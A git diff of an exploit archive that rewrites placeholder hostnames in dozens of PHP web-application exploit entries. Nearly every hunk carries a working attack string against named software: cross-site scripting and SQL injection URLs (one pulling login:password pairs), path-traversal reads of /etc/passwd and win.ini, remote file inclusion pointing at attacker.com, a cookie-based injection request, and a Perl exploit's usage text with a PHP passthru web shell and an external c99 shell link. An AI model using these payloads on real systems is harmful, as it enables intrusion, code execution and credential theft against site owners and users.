2.2.2 is vulnerable; other versions may also be affected. -http://www.example.com/pivotx/pivotx/modules/module_image.php?image=%3Cscript%3Ealert(0)%3C/script%3E \ No newline at end of file +http://www.example.com/pivotx/pivotx/modules/module_image.php?image=%3Cscript%3Ealert(0)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/35257.txt b/platforms/php/webapps/35257.txt index 62aec9247..7e21b55e3 100755 --- a/platforms/php/webapps/35257.txt +++ b/platforms/php/webapps/35257.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Videox7 UGC 2.5.3.2 is vulnerable; other versions may also be affected. -http://www.example.com/wordpress/wp-content/plugins/x7host-videox7-ugc-plugin/x7listplayer.php?listid=[xss] \ No newline at end of file +http://www.example.com/wordpress/wp-content/plugins/x7host-videox7-ugc-plugin/x7listplayer.php?listid=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/35259.txt b/platforms/php/webapps/35259.txt index 9aa9c26c8..61126a463 100755 --- a/platforms/php/webapps/35259.txt +++ b/platforms/php/webapps/35259.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br PivotX 2.2.0 is vulnerable; other versions may also be affected. -http://www.example.com/includes/blogroll.php?id=1&color=123;}</style><script>alert("XSS");</script>| \ No newline at end of file +http://www.example.com/includes/blogroll.php?id=1&color=123;}</style><script>alert("XSS");</script>| \ No newline at end of file diff --git a/platforms/php/webapps/35260.txt b/platforms/php/webapps/35260.txt index d2878580f..99f1b6c2e 100755 --- a/platforms/php/webapps/35260.txt +++ b/platforms/php/webapps/35260.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br PivotX 2.2.0 is vulnerable; other versions may also be affected. -http://www.example.com/includes/timwrapper.php?src=%22%3E%3Cscript%3Ealert%28%22XSS%22%29;%3C/script%3E \ No newline at end of file +http://www.example.com/includes/timwrapper.php?src=%22%3E%3Cscript%3Ealert%28%22XSS%22%29;%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/35263.txt b/platforms/php/webapps/35263.txt index c4a9a27d4..7ca729a6a 100755 --- a/platforms/php/webapps/35263.txt +++ b/platforms/php/webapps/35263.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to download arbitrary files from the affected WP Publication Archive 2.0.1 is vulnerable; other versions may also be affected. -http://www.example.com/wordpress/wp-content/plugins/wp-publication-archive/includes/openfile.php?file=../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../windows/win.ini \ No newline at end of file +http://www.example.com/wordpress/wp-content/plugins/wp-publication-archive/includes/openfile.php?file=../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../windows/win.ini \ No newline at end of file diff --git a/platforms/php/webapps/35264.txt b/platforms/php/webapps/35264.txt index e18483b6d..f5939f0e7 100755 --- a/platforms/php/webapps/35264.txt +++ b/platforms/php/webapps/35264.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Featured Content 0.0.1 is vulnerable; other versions may also be affected. -http://www.example.com/wordpress/wp-content/plugins/x7host-videox7-ugc-plugin/x7listplayer.php?listid=[xss] \ No newline at end of file +http://www.example.com/wordpress/wp-content/plugins/x7host-videox7-ugc-plugin/x7listplayer.php?listid=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/35271.txt b/platforms/php/webapps/35271.txt index 54cc63049..79397474c 100755 --- a/platforms/php/webapps/35271.txt +++ b/platforms/php/webapps/35271.txt @@ -8,7 +8,7 @@ you first go here: -http://server/path/index.php?page=welcome.php +http://www.target.com/path/index.php?page=welcome.php you will go login.php, but if we change our cookie's with this exploit we will be login admin panel. diff --git a/platforms/php/webapps/35274.txt b/platforms/php/webapps/35274.txt index 52989ce43..cc4bada64 100755 --- a/platforms/php/webapps/35274.txt +++ b/platforms/php/webapps/35274.txt @@ -36,11 +36,11 @@ knowing this, the following code was created to inject a script into the AdminCP with User-Agent. $ curl -A "<script src='http://www.example.com/script.js'></script>" \ - http://www.meuserver.br/ + http://www.meusite.com.br/ OR -$ curl -A "<script>alert(1);</script>" http://www.meuserver.br/ +$ curl -A "<script>alert(1);</script>" http://www.meusite.com.br/ when any user with administrative access in. 'AdminCP' diff --git a/platforms/php/webapps/3528.pl b/platforms/php/webapps/3528.pl index b75e33b50..cb14b5c8e 100755 --- a/platforms/php/webapps/3528.pl +++ b/platforms/php/webapps/3528.pl @@ -62,7 +62,7 @@ sub usage() head(); print "\r\n"; print " Usage: perl Cold-z3ro.pl <Victim> <Cmd Shell Location> <Cmd Shell Variable>\r\n\n"; -print " <Victim> - Full path to example: http://www.server/phpRaid/ \r\n"; +print " <Victim> - Full path to example: http://www.site.com/phpRaid/ \r\n"; print " <cmd shell> - Path to Cmd Shell e.g http://b0rizq.by.ru/c99.txt? \r\n"; print " <cmd variable> - Cmd Variable Used In Php Shell like [ id ]\r\n"; print "\r\n"; diff --git a/platforms/php/webapps/35286.txt b/platforms/php/webapps/35286.txt index 75406dd6e..a0d9e0283 100755 --- a/platforms/php/webapps/35286.txt +++ b/platforms/php/webapps/35286.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow BezahlCode Generator Plugin 1.0 is vulnerable; other versions may also be affected. -http://www.example.com/wordpress/wp-content/plugins/bezahlcode-generator/der_generator.php?gen_name=%22%3E%3Cscript%3Ealert(0)%3C/script%3E \ No newline at end of file +http://www.example.com/wordpress/wp-content/plugins/bezahlcode-generator/der_generator.php?gen_name=%22%3E%3Cscript%3Ealert(0)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/35289.txt b/platforms/php/webapps/35289.txt index 1c63278b3..004732e28 100755 --- a/platforms/php/webapps/35289.txt +++ b/platforms/php/webapps/35289.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow FCChat Widget 2.1.7 is vulnerable; other versions may also be affected. -http://localhost/wordpress/wp-content/plugins/fcchat/js/import.config.php?path=[xss] \ No newline at end of file +http://localhost/wordpress/wp-content/plugins/fcchat/js/import.config.php?path=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/35290.txt b/platforms/php/webapps/35290.txt index 2f0094e10..2a2f9a6f2 100755 --- a/platforms/php/webapps/35290.txt +++ b/platforms/php/webapps/35290.txt @@ -10,4 +10,4 @@ http://www.example.com/guestbook.php?layout=Til&lang=en&mode=add&postingid=1&pos http://www.example.com/guestbook.php?layout=Til&lang=en&mode=add&postingid=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&poster=1&input_text=111111111111111111111111111111&preview=preview -http://www.example.com/guestbook.php?layout=Til&lang=en&mode=add&postingid=1&poster=1&location=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&input_text=111111111111111111111111111111&preview=preview \ No newline at end of file +http://www.example.com/guestbook.php?layout=Til&lang=en&mode=add&postingid=1&poster=1&location=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&input_text=111111111111111111111111111111&preview=preview \ No newline at end of file diff --git a/platforms/php/webapps/35291.txt b/platforms/php/webapps/35291.txt index 8fe7941a2..f36742f24 100755 --- a/platforms/php/webapps/35291.txt +++ b/platforms/php/webapps/35291.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Vanilla Forums 2.0.16 is vulnerable; other versions may also be affected. -http://www.example.com/index.php?p=/entry/signin&Target=javascript:alert(document.cookie)//http:// \ No newline at end of file +http://www.example.com/index.php?p=/entry/signin&Target=javascript:alert(document.cookie)//http:// \ No newline at end of file diff --git a/platforms/php/webapps/35293.txt b/platforms/php/webapps/35293.txt index 51728ba73..49819e9bc 100755 --- a/platforms/php/webapps/35293.txt +++ b/platforms/php/webapps/35293.txt @@ -7,4 +7,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc VirtueMart eCommerce 1.1.6 is vulnerable; other versions may also be affected. http://www.example.com/index.php?category_id=&page=shop.browse&option=com_virtuemart&Itemid=1&keyword1=hand&search_op=and&keyword2=&search_limiter=anywhere&search=Search&search_category=3 -AND $BLIND_SQL -- \ No newline at end of file +AND $BLIND_SQL -- \ No newline at end of file diff --git a/platforms/php/webapps/35294.txt b/platforms/php/webapps/35294.txt index e72db54db..cf86d7e92 100755 --- a/platforms/php/webapps/35294.txt +++ b/platforms/php/webapps/35294.txt @@ -4,4 +4,4 @@ The 'com_clan_members' component for Joomla! is prone to an SQL-injection vulner Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_clan_members&id=[EXPLOIT] \ No newline at end of file +http://www.example.com/index.php?option=com_clan_members&id=[EXPLOIT] \ No newline at end of file diff --git a/platforms/php/webapps/35295.txt b/platforms/php/webapps/35295.txt index eff80f9d7..7625cca8e 100755 --- a/platforms/php/webapps/35295.txt +++ b/platforms/php/webapps/35295.txt @@ -4,4 +4,4 @@ The 'com_frontenduseraccess' component for Joomla! is prone to a local file-incl An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible. -http://www.example.com/index.php?option=com_frontenduseraccess&controller=../../../../../../../../../../proc/self/environ%00 \ No newline at end of file +http://www.example.com/index.php?option=com_frontenduseraccess&controller=../../../../../../../../../../proc/self/environ%00 \ No newline at end of file diff --git a/platforms/php/webapps/35296.txt b/platforms/php/webapps/35296.txt index 3e1a6dcef..4a1ae0f12 100755 --- a/platforms/php/webapps/35296.txt +++ b/platforms/php/webapps/35296.txt @@ -8,4 +8,4 @@ eSyndiCat Directory Software versions 2.2 and 2.3 are vulnerable; other versions http://www.example.com/?preview="><script>alert('XSS')</script> -http://www.example.com/?preview="><meta http-equiv="Refresh" content="0;url=http://www.example2.com/"> "" \ No newline at end of file +http://www.example.com/?preview="><meta http-equiv="Refresh" content="0;url=http://www.example2.com/"> "" \ No newline at end of file diff --git a/platforms/php/webapps/35297.txt b/platforms/php/webapps/35297.txt index edd2a3678..4a2c4763c 100755 --- a/platforms/php/webapps/35297.txt +++ b/platforms/php/webapps/35297.txt @@ -6,4 +6,4 @@ Exploiting this vulnerability may allow an attacker to perform cross-site script Versions prior to Moodle 2.0.1 are vulnerable. -http://www.example.com/moodle/lib/spikephpcoverage/src/phpcoverage.remote.top.inc.php?PHPCOVERAGE_HOME=[xss] \ No newline at end of file +http://www.example.com/moodle/lib/spikephpcoverage/src/phpcoverage.remote.top.inc.php?PHPCOVERAGE_HOME=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/3530.pl b/platforms/php/webapps/3530.pl index f6c2d3a9a..de34b156f 100755 --- a/platforms/php/webapps/3530.pl +++ b/platforms/php/webapps/3530.pl @@ -7,7 +7,7 @@ # Url: http://www.monstertoplist.com # # Exploit: -# http://server/[path]/sources/functions.php?root_path=[Evil_Script] +# http://site.com/[path]/sources/functions.php?root_path=[Evil_Script] # # (c)oded and f0und3d by fluffy_bunny # @@ -41,8 +41,8 @@ $path = $path."/sources/functions.php"; sub usage(){ - print "Usage : perl $0 host/path http://server/cmd.txt\n\n"; - print "Example : perl $0 http://127.0.0.1 http://server/cmd.txt\n\n"; + print "Usage : perl $0 host/path http://site.com/cmd.txt\n\n"; + print "Example : perl $0 http://127.0.0.1 http://site.com/cmd.txt\n\n"; print 'Shell : <?php ob_clean();ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>'; } diff --git a/platforms/php/webapps/35300.txt b/platforms/php/webapps/35300.txt index 11ae8339c..795116f1a 100755 --- a/platforms/php/webapps/35300.txt +++ b/platforms/php/webapps/35300.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow TagNinja 1.0 is vulnerable; other versions may also be affected. -http://www.example.com/wordpress/wp-content/plugins/tagninja/fb_get_profile.php?id=[xss] \ No newline at end of file +http://www.example.com/wordpress/wp-content/plugins/tagninja/fb_get_profile.php?id=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/35305.txt b/platforms/php/webapps/35305.txt index b0f3b68ef..59fa74a10 100755 --- a/platforms/php/webapps/35305.txt +++ b/platforms/php/webapps/35305.txt @@ -6,4 +6,4 @@ A successful exploit could allow an attacker to compromise the application, acce ACollab 1.2 is vulnerable; other versions may also be affected. -http://www.example.com/acollab/admin/lang.php?lang=&t=xxx'UNION%20SELECT%200,0,'error',GROUP_CONCAT(login,':',password),4%20FROM%20AC_members%20WHERE%20'a'='a \ No newline at end of file +http://www.example.com/acollab/admin/lang.php?lang=&t=xxx'UNION%20SELECT%200,0,'error',GROUP_CONCAT(login,':',password),4%20FROM%20AC_members%20WHERE%20'a'='a \ No newline at end of file diff --git a/platforms/php/webapps/35306.txt b/platforms/php/webapps/35306.txt index 651e05da2..2c0e42c2f 100755 --- a/platforms/php/webapps/35306.txt +++ b/platforms/php/webapps/35306.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow TCExam 11.1.016 is vulnerable; other versions may also be affected. -http://www.example.com/tcexam/public/code/tce_user_registration.php?user_password=testab%22%3E%3Cscript%3Ealert(0)%3C/script%3E%3Cinput%20type=%22hidden \ No newline at end of file +http://www.example.com/tcexam/public/code/tce_user_registration.php?user_password=testab%22%3E%3Cscript%3Ealert(0)%3C/script%3E%3Cinput%20type=%22hidden \ No newline at end of file diff --git a/platforms/php/webapps/35309.txt b/platforms/php/webapps/35309.txt index e3ee78361..6c17228e0 100755 --- a/platforms/php/webapps/35309.txt +++ b/platforms/php/webapps/35309.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to obtain potentially sensitive infor Betsy 4.0 is vulnerable; other versions may also be affected. -http://www.example.com/ress.php?page=[LFI] \ No newline at end of file +http://www.example.com/ress.php?page=[LFI] \ No newline at end of file diff --git a/platforms/php/webapps/35312.txt b/platforms/php/webapps/35312.txt index 9bbb077b2..9830ae78c 100755 --- a/platforms/php/webapps/35312.txt +++ b/platforms/php/webapps/35312.txt @@ -4,4 +4,4 @@ Firebook is prone to a cross-site scripting vulnerability because it fails to su Exploiting these issues will allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and steal cookie-based authentication credentials. -http://www.example.com/env/index.html?[xss] \ No newline at end of file +http://www.example.com/env/index.html?[xss] \ No newline at end of file diff --git a/platforms/php/webapps/35315.txt b/platforms/php/webapps/35315.txt index 6b7880ccb..b9bb49126 100755 --- a/platforms/php/webapps/35315.txt +++ b/platforms/php/webapps/35315.txt @@ -7,4 +7,4 @@ A successful exploit could allow an attacker to compromise the application, acce Escortservice 1.0 is vulnerable; other versions may also be affected. http://www.example.com/show_profile.php?custid=1+and+1=0+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 -,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66--+ \ No newline at end of file +,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66--+ \ No newline at end of file diff --git a/platforms/php/webapps/35319.txt b/platforms/php/webapps/35319.txt index a68a6f7d1..8071509bf 100755 --- a/platforms/php/webapps/35319.txt +++ b/platforms/php/webapps/35319.txt @@ -7,4 +7,4 @@ Successful exploits will allow attacker-supplied HTML and script code to run in http://www.example.com/html/scripts/index.php?>[xss] -http://www.example.com/SC/html/scripts/index.php?did=22&login=1">[xss]&first_name=2"><script>alert(document.cookie)</script>&custgroupID=0&email=&last_name=&ActState=-1&search=%D0%9D%D0%B0%D0%B9%D1%82%D0%B8&charset=cp1251&count_to_export= \ No newline at end of file +http://www.example.com/SC/html/scripts/index.php?did=22&login=1">[xss]&first_name=2"><script>alert(document.cookie)</script>&custgroupID=0&email=&last_name=&ActState=-1&search=%D0%9D%D0%B0%D0%B9%D1%82%D0%B8&charset=cp1251&count_to_export= \ No newline at end of file diff --git a/platforms/php/webapps/3532.txt b/platforms/php/webapps/3532.txt index f122e5056..e755fd332 100755 --- a/platforms/php/webapps/3532.txt +++ b/platforms/php/webapps/3532.txt @@ -78,10 +78,10 @@ and more .. Poc/Exploit: ~~~~~~~~~ -http://server/[splanner_path]/inc/service.alert.inc.php?SPL_CFG[dirroot]=http://attacker.com/evil? -http://server/[splanner_path]/inc/settings.ses.php?SPL_CFG[dirroot]=http://attacker.com/evil? -http://server/[splanner_path]/db/mysql/db.inc.php?SPL_CFG[dirroot]=http://attacker.com/evil? -http://server/[splanner_path]/integration/shortstat/configuration.php?SPL_CFG[dirroot]=http://attacker.com/evil? +http://www.target.com/[splanner_path]/inc/service.alert.inc.php?SPL_CFG[dirroot]=http://attacker.com/evil? +http://www.target.com/[splanner_path]/inc/settings.ses.php?SPL_CFG[dirroot]=http://attacker.com/evil? +http://www.target.com/[splanner_path]/db/mysql/db.inc.php?SPL_CFG[dirroot]=http://attacker.com/evil? +http://www.target.com/[splanner_path]/integration/shortstat/configuration.php?SPL_CFG[dirroot]=http://attacker.com/evil? diff --git a/platforms/php/webapps/35324.txt b/platforms/php/webapps/35324.txt index 15540d326..0837108dc 100755 --- a/platforms/php/webapps/35324.txt +++ b/platforms/php/webapps/35324.txt @@ -14,7 +14,7 @@ The code injection vulnerability has been found and confirmed within the software as an anonymous user. A successful attack could allow an anonymous attacker gains full control of the application and the ability to use any operating system functions that are available to the scripting environment. GET /cmdownloads/?CMDsearch=".phpinfo()." HTTP/1.1 -Host: server +Host: target.com User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 diff --git a/platforms/php/webapps/35329.txt b/platforms/php/webapps/35329.txt index b914873d1..54c51ed92 100755 --- a/platforms/php/webapps/35329.txt +++ b/platforms/php/webapps/35329.txt @@ -6,4 +6,4 @@ Exploiting these issues will allow an attacker to execute arbitrary script code Versions prior to PHPXref 0.7 are vulnerable; other versions may also be affected. -http://www.example.com/nav.html?javascript:alert(document.cookie) \ No newline at end of file +http://www.example.com/nav.html?javascript:alert(document.cookie) \ No newline at end of file diff --git a/platforms/php/webapps/35334.txt b/platforms/php/webapps/35334.txt index 7fbb1c8e7..344703f05 100755 --- a/platforms/php/webapps/35334.txt +++ b/platforms/php/webapps/35334.txt @@ -6,4 +6,4 @@ A successful exploit could allow an attacker to compromise the application, acce RunCMS 2.2.2 is vulnerable; other versions may also be affected. -http://www.example.com/register.php?uname=user3&email=user%40test2.com&user_viewemail=0&name=user3&address=nope&zip_code=123&town=nope&user_from=nope&phone=123&user_avatar=blank.gif&timezone_offset=123'SQL_CODE_HERE&url=http%3A%2F%2Fnope&language=english&passw=password&vpassw=password&user_mailok=1&verify_text=&verify_crc=&keystring=368483&op=finish \ No newline at end of file +http://www.example.com/register.php?uname=user3&email=user%40test2.com&user_viewemail=0&name=user3&address=nope&zip_code=123&town=nope&user_from=nope&phone=123&user_avatar=blank.gif&timezone_offset=123'SQL_CODE_HERE&url=http%3A%2F%2Fnope&language=english&passw=password&vpassw=password&user_mailok=1&verify_text=&verify_crc=&keystring=368483&op=finish \ No newline at end of file diff --git a/platforms/php/webapps/35343.txt b/platforms/php/webapps/35343.txt index f3c214abb..0af6c905b 100755 --- a/platforms/php/webapps/35343.txt +++ b/platforms/php/webapps/35343.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to inject and execute arbitrary PHP code in t Versions prior to Smarty Template Engine 3.0.7 are vulnerable. -$smarty.template : '.(include 'hack.php').'.tpl \ No newline at end of file +$smarty.template : '.(include 'hack.php').'.tpl \ No newline at end of file diff --git a/platforms/php/webapps/35344.txt b/platforms/php/webapps/35344.txt index 7874431b8..f66382e01 100755 --- a/platforms/php/webapps/35344.txt +++ b/platforms/php/webapps/35344.txt @@ -10,7 +10,7 @@ sql inj.: -server/robotstats/admin/robots.php?rub=modif&robot=0x90+union+select+1,2,3,4,5,database(),7,8,9,10 +target.com/robotstats/admin/robots.php?rub=modif&robot=0x90+union+select+1,2,3,4,5,database(),7,8,9,10 you look other files for sql example (/robotstats/info-robot.php?robot=?) diff --git a/platforms/php/webapps/35347.txt b/platforms/php/webapps/35347.txt index 4d2a4300a..bd8a1a6a8 100755 --- a/platforms/php/webapps/35347.txt +++ b/platforms/php/webapps/35347.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Dokeos 1.8.6.2 is vulnerable; other versions may also be affected. -http://www.example.com/dokeos/main/inc/latex.php?code=%22style=%22top:0;position:absolute;width:9999px;height:9999px;%22onmouseover%3d%22alert(0) \ No newline at end of file +http://www.example.com/dokeos/main/inc/latex.php?code=%22style=%22top:0;position:absolute;width:9999px;height:9999px;%22onmouseover%3d%22alert(0) \ No newline at end of file diff --git a/platforms/php/webapps/35360.txt b/platforms/php/webapps/35360.txt index 819260518..c30ce0aee 100755 --- a/platforms/php/webapps/35360.txt +++ b/platforms/php/webapps/35360.txt @@ -8,4 +8,4 @@ WSN Guest 1.24 is vulnerable; other versions may also be vulnerable. GET /wsnguest/index.php?debug=1 HTTP/1.0 Host: www.example.com -Cookie: wsnuser=[SQL Injection] \ No newline at end of file +Cookie: wsnuser=[SQL Injection] \ No newline at end of file diff --git a/platforms/php/webapps/35375.txt b/platforms/php/webapps/35375.txt index 6070d2231..f38f5fc24 100755 --- a/platforms/php/webapps/35375.txt +++ b/platforms/php/webapps/35375.txt @@ -4,4 +4,4 @@ Vanilla Forums is prone to a cross-site scripting vulnerability because it fails An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/vanilla/index.php?p=[xss] \ No newline at end of file +http://www.example.com/vanilla/index.php?p=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/35376.txt b/platforms/php/webapps/35376.txt index dcf06d7ab..5afe87b02 100755 --- a/platforms/php/webapps/35376.txt +++ b/platforms/php/webapps/35376.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to obtain potentially sensitive infor mySeatXT 0.164 is vulnerable; other versions may also be affected. -http://www.example.com/myseatxt/contactform/cancel.php?lang=../../../../../../../../windows/system.ini%00 \ No newline at end of file +http://www.example.com/myseatxt/contactform/cancel.php?lang=../../../../../../../../windows/system.ini%00 \ No newline at end of file diff --git a/platforms/php/webapps/35378.txt b/platforms/php/webapps/35378.txt index b9832c342..777a4522c 100755 --- a/platforms/php/webapps/35378.txt +++ b/platforms/php/webapps/35378.txt @@ -26,4 +26,4 @@ |-------------------------------------------------------------------------| |-------------------------------------------------------------------------| |-------------------------------------------------------------------------| -|#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#| \ No newline at end of file +|#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#| \ No newline at end of file diff --git a/platforms/php/webapps/35387.txt b/platforms/php/webapps/35387.txt index 67d07d936..4bb9c0310 100755 --- a/platforms/php/webapps/35387.txt +++ b/platforms/php/webapps/35387.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary HTML and script code in phpShop versions 0.8.1 and prior are vulnerable. -http://www.example.com/phpshop0_8_1/?page=store/XSS&%26%26%22%3E%3Cscript%3Ealert%28/xss/%29%3C/script%3E%3d1 \ No newline at end of file +http://www.example.com/phpshop0_8_1/?page=store/XSS&%26%26%22%3E%3Cscript%3Ealert%28/xss/%29%3C/script%3E%3d1 \ No newline at end of file diff --git a/platforms/php/webapps/35391.txt b/platforms/php/webapps/35391.txt index c48256c1f..bbf9e06c4 100755 --- a/platforms/php/webapps/35391.txt +++ b/platforms/php/webapps/35391.txt @@ -7,4 +7,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc The vendor refutes this issue stating it can not be exploited as described. http://www.example.com/user.php?mode=1 and substring(version(),1,1)=4 -http://www.example.com/user.php?mode=1 and substring(version(),1,1)=5 \ No newline at end of file +http://www.example.com/user.php?mode=1 and substring(version(),1,1)=5 \ No newline at end of file diff --git a/platforms/php/webapps/35392.txt b/platforms/php/webapps/35392.txt index 7ae6c7c26..4177895cd 100755 --- a/platforms/php/webapps/35392.txt +++ b/platforms/php/webapps/35392.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow IGIT Posts Slider Widget plugin 1.0 is vulnerable; other versions may also be affected. -http://www.example.com/wordpress/wp-content/plugins/igit-posts-slider-widget/timthumb.php?src=%3Cscript%3Ealert(0)%3C/script%3E \ No newline at end of file +http://www.example.com/wordpress/wp-content/plugins/igit-posts-slider-widget/timthumb.php?src=%3Cscript%3Ealert(0)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/35393.txt b/platforms/php/webapps/35393.txt index d0991bee7..7f211d72b 100755 --- a/platforms/php/webapps/35393.txt +++ b/platforms/php/webapps/35393.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow ComicPress Manager 1.4.9.2 and 1.4.9.9 are vulnerable; other versions may also be affected. -http://www.example.com/wordpress/wp-content/plugins/comicpress-manager/jscalendar-1.0/test.php?lang=%22%3E%3C/script%3E%3Cscript%3Ealert(0)%3C%2fscript%3E&submitted= \ No newline at end of file +http://www.example.com/wordpress/wp-content/plugins/comicpress-manager/jscalendar-1.0/test.php?lang=%22%3E%3C/script%3E%3Cscript%3Ealert(0)%3C%2fscript%3E&submitted= \ No newline at end of file diff --git a/platforms/php/webapps/35400.txt b/platforms/php/webapps/35400.txt index ea39e7a6e..2a3c5b0bc 100755 --- a/platforms/php/webapps/35400.txt +++ b/platforms/php/webapps/35400.txt @@ -6,4 +6,4 @@ Attackers can exploit these issues to retrieve the contents of an arbitrary file http://www.example.com/wp-content/plugins/backwpup/app/options-runnow-iframe.php?wpabs=/etc/passwd%00&jobid=1 -http://www.example.com/wp-content/plugins/backwpup/app/options-view_log-iframe.php?wpabs=/etc/passwd%00&logfile=/etc/passwd \ No newline at end of file +http://www.example.com/wp-content/plugins/backwpup/app/options-view_log-iframe.php?wpabs=/etc/passwd%00&logfile=/etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/35401.txt b/platforms/php/webapps/35401.txt index 038262af6..7d8a503b1 100755 --- a/platforms/php/webapps/35401.txt +++ b/platforms/php/webapps/35401.txt @@ -4,4 +4,4 @@ SnapProof is prone to a cross-site-scripting vulnerability because it fails to p An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/cart.php?retPageID=[XSS] \ No newline at end of file +http://www.example.com/cart.php?retPageID=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/35402.txt b/platforms/php/webapps/35402.txt index 483702e2d..a51af3fec 100755 --- a/platforms/php/webapps/35402.txt +++ b/platforms/php/webapps/35402.txt @@ -7,4 +7,4 @@ Exploiting these issues could allow an attacker to compromise the application, a http://www.example.com/grein.php?id=[sqli] http://www.example.com/rit.php?id=[sqli] http://www.example.com/index.php?id=[sqli] -http://www.example.com/sida.php?id=[SQLi] \ No newline at end of file +http://www.example.com/sida.php?id=[SQLi] \ No newline at end of file diff --git a/platforms/php/webapps/35405.txt b/platforms/php/webapps/35405.txt index 6dd3fac5c..05702ecbf 100755 --- a/platforms/php/webapps/35405.txt +++ b/platforms/php/webapps/35405.txt @@ -4,4 +4,4 @@ VidiScript is prone to a cross-site scripting vulnerability because it fails to An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/index.php?vp=[XSS] \ No newline at end of file +http://www.example.com/index.php?vp=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/35407.txt b/platforms/php/webapps/35407.txt index b5ef585bf..fe98cac30 100755 --- a/platforms/php/webapps/35407.txt +++ b/platforms/php/webapps/35407.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow phpWebSite 1.7.1 is vulnerable; other versions may also be affected. -http://www.example.com/phpwebsite_1_7_1/javascript/editors/fckeditor/editor/custom.php?local=%3Cscript%3Ealert(0)%3C%2fscript%3E http://www.example.com/phpwebsite_1_7_1/javascript/editors/fckeditor/editor/custom.php?local=%3Cscript%3Ealert(0)%3C%2fscript%3E \ No newline at end of file +http://www.example.com/phpwebsite_1_7_1/javascript/editors/fckeditor/editor/custom.php?local=%3Cscript%3Ealert(0)%3C%2fscript%3E http://www.example.com/phpwebsite_1_7_1/javascript/editors/fckeditor/editor/custom.php?local=%3Cscript%3Ealert(0)%3C%2fscript%3E \ No newline at end of file diff --git a/platforms/php/webapps/35431.txt b/platforms/php/webapps/35431.txt index 6658b44f4..7295ce053 100755 --- a/platforms/php/webapps/35431.txt +++ b/platforms/php/webapps/35431.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow RuubikCMS 1.0.3 is vulnerable; other versions may also be affected. -http://www.example.com/ruubikcms/cms/includes/head.php?cmspage=</title><script>alert(123);</script> \ No newline at end of file +http://www.example.com/ruubikcms/cms/includes/head.php?cmspage=</title><script>alert(123);</script> \ No newline at end of file diff --git a/platforms/php/webapps/35444.txt b/platforms/php/webapps/35444.txt index ab3eef416..25750f24c 100755 --- a/platforms/php/webapps/35444.txt +++ b/platforms/php/webapps/35444.txt @@ -11,4 +11,4 @@ Exploiting these issues could allow an attacker to execute arbitrary code, hijac 